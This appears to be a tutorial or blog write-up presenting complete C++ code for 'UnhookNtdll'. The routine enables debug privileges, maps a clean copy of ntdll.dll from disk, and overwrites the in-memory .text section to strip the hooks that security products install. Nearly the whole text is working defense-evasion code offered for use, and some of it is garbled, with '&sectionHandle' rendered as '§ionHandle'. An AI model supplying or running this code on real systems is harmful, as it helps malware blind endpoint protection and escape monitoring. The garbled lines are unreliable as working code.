UnhookNtdll is a native C++ routine that restores the original ntdll.dll in memory by mapping a clean copy from disk and overwriting the in-memory .text section. This evades user-mode hooks placed by security products, ensuring all NT API entry points remain untainted.
Before touching system files, the code enables backup, restore, and debug privileges, then copies C:\Windows\System32\ntdll.dll to C:\Temp\ntdll_copy.dll if it doesn’t already exist.
BOOL EnsureLocalNtdllCopy() {
EnableBackupAndRestorePrivileges();
LPCWSTR src = L"C:\\Windows\\System32\\ntdll.dll";
LPCWSTR dst = L"C:\\Temp\\ntdll_copy.dll";
CreateDirectoryW(L"C:\\Temp", nullptr);
if (!PathFileExistsW(dst)) {
wprintf(L"[*] Copying %s to %s\n", src, dst);
CopyFileW(src, dst, FALSE);
}
return PathFileExistsW(dst);
}
The clean DLL copy is opened via NtOpenFile, a section is created with NtCreateSection (type SEC_IMAGE), and then mapped into the current process with NtMapViewOfSection (read-only).
UNICODE_STRING uStr;
RtlInitUnicodeString(&uStr, L"\\??\\C:\\Temp\\ntdll_copy.dll");
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &uStr, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
IO_STATUS_BLOCK iosb;
HANDLE fileHandle, sectionHandle;
NtOpenFile(&fileHandle,
FILE_GENERIC_READ,
&objAttr,
&iosb,
FILE_SHARE_READ,
FILE_NON_DIRECTORY_FILE);
NtCreateSection(§ionHandle,
SECTION_MAP_READ,
nullptr,
nullptr,
PAGE_READONLY,
SEC_IMAGE,
fileHandle);
PVOID mappingAddr = nullptr;
SIZE_T viewSize = 0;
NtMapViewOfSection(sectionHandle,
GetCurrentProcess(),
&mappingAddr,
0, 0,
nullptr,
&viewSize,
ViewUnmap,
0,
PAGE_READONLY);
.text Section
After retrieving the base of the loaded ntdll.dll via GetModuleInformation, the PE headers are parsed to locate the .text section. Memory is made writable with NtProtectVirtualMemory, then memcpy restores the clean bytes, and original protections are re-applied.
MODULEINFO mi{};
GetModuleInformation(GetCurrentProcess(), hNtdll, &mi, sizeof(mi));
auto dos = (PIMAGE_DOS_HEADER)mi.lpBaseOfDll;
auto ntH = (PIMAGE_NT_HEADERS)((BYTE*)mi.lpBaseOfDll + dos->e_lfanew);
auto sect = IMAGE_FIRST_SECTION(ntH);
for (WORD i = 0; i < ntH->FileHeader.NumberOfSections; i++, sect++) {
if (strcmp((char*)sect->Name, ".text") == 0) {
PVOID textBase = (BYTE*)mi.lpBaseOfDll + sect->VirtualAddress;
SIZE_T textSize = sect->Misc.VirtualSize;
ULONG oldProt;
NtProtectVirtualMemory(GetCurrentProcess(),
&textBase,
&textSize,
PAGE_EXECUTE_READWRITE,
&oldProt);
memcpy(textBase,
(BYTE*)mappingAddr + sect->VirtualAddress,
textSize);
NtProtectVirtualMemory(GetCurrentProcess(),
&textBase,
&textSize,
oldProt,
&oldProt);
wprintf(L"[+] .text unhooked\n");
break;
}
}
void UnhookNtdll() {
wprintf(L"[*] UnhookNtdll entered\n");
EnablePrivilege(SE_DEBUG_NAME);
if (!EnsureLocalNtdllCopy()) return;
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
// Resolve NT functions: NtOpenFile, NtCreateSection, NtMapViewOfSection,
// NtProtectVirtualMemory, NtUnmapViewOfSection
auto NtOpenFile = (NtOpenFileFunc) GetProcAddress(hNtdll, "NtOpenFile");
auto NtCreateSection = (NtCreateSectionFunc) GetProcAddress(hNtdll, "NtCreateSection");
auto NtMapViewOfSection= (NtMapViewOfSectionFunc)GetProcAddress(hNtdll, "NtMapViewOfSection");
auto NtProtectVM = (NtProtectVirtualMemoryFunc)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
auto NtUnmapView = (NtUnmapViewOfSectionFunc) GetProcAddress(hNtdll, "NtUnmapViewOfSection");
// Map clean ntdll_copy.dll into memory
UNICODE_STRING uStr; RtlInitUnicodeString(&uStr, L"\\??\\C:\\Temp\\ntdll_copy.dll");
OBJECT_ATTRIBUTES objAttr; InitializeObjectAttributes(&objAttr, &uStr, OBJ_CASE_INSENSITIVE, nullptr, nullptr);
IO_STATUS_BLOCK iosb; HANDLE fileHandle, sectionHandle;
NtOpenFile(&fileHandle, FILE_GENERIC_READ, &objAttr, &iosb, FILE_SHARE_READ, FILE_NON_DIRECTORY_FILE);
NtCreateSection(§ionHandle, SECTION_MAP_READ, nullptr, nullptr, PAGE_READONLY, SEC_IMAGE, fileHandle);
PVOID mappingAddr = nullptr; SIZE_T viewSize = 0;
NtMapViewOfSection(sectionHandle, GetCurrentProcess(), &mappingAddr, 0, 0, nullptr, &viewSize, ViewUnmap, 0, PAGE_READONLY);
// Overwrite in-memory .text
MODULEINFO mi{}; GetModuleInformation(GetCurrentProcess(), hNtdll, &mi, sizeof(mi));
auto dosH = (PIMAGE_DOS_HEADER)mi.lpBaseOfDll;
auto ntH = (PIMAGE_NT_HEADERS)((BYTE*)mi.lpBaseOfDll + dosH->e_lfanew);
auto secH = IMAGE_FIRST_SECTION(ntH);
for (WORD i = 0; i < ntH->FileHeader.NumberOfSections; i++, secH++) {
if (strcmp((char*)secH->Name, ".text") == 0) {
PVOID base = (BYTE*)mi.lpBaseOfDll + secH->VirtualAddress;
SIZE_T sz = secH->Misc.VirtualSize;
ULONG old;
NtProtectVM(GetCurrentProcess(), &base, &sz, PAGE_EXECUTE_READWRITE, &old);
memcpy(base, (BYTE*)mappingAddr + secH->VirtualAddress, sz);
NtProtectVM(GetCurrentProcess(), &base, &sz, old, &old);
break;
}
}
NtUnmapView(GetCurrentProcess(), mappingAddr);
NtClose(sectionHandle);
NtClose(fileHandle);
wprintf(L"[+] ntdll.dll unhooked successfully\n");
}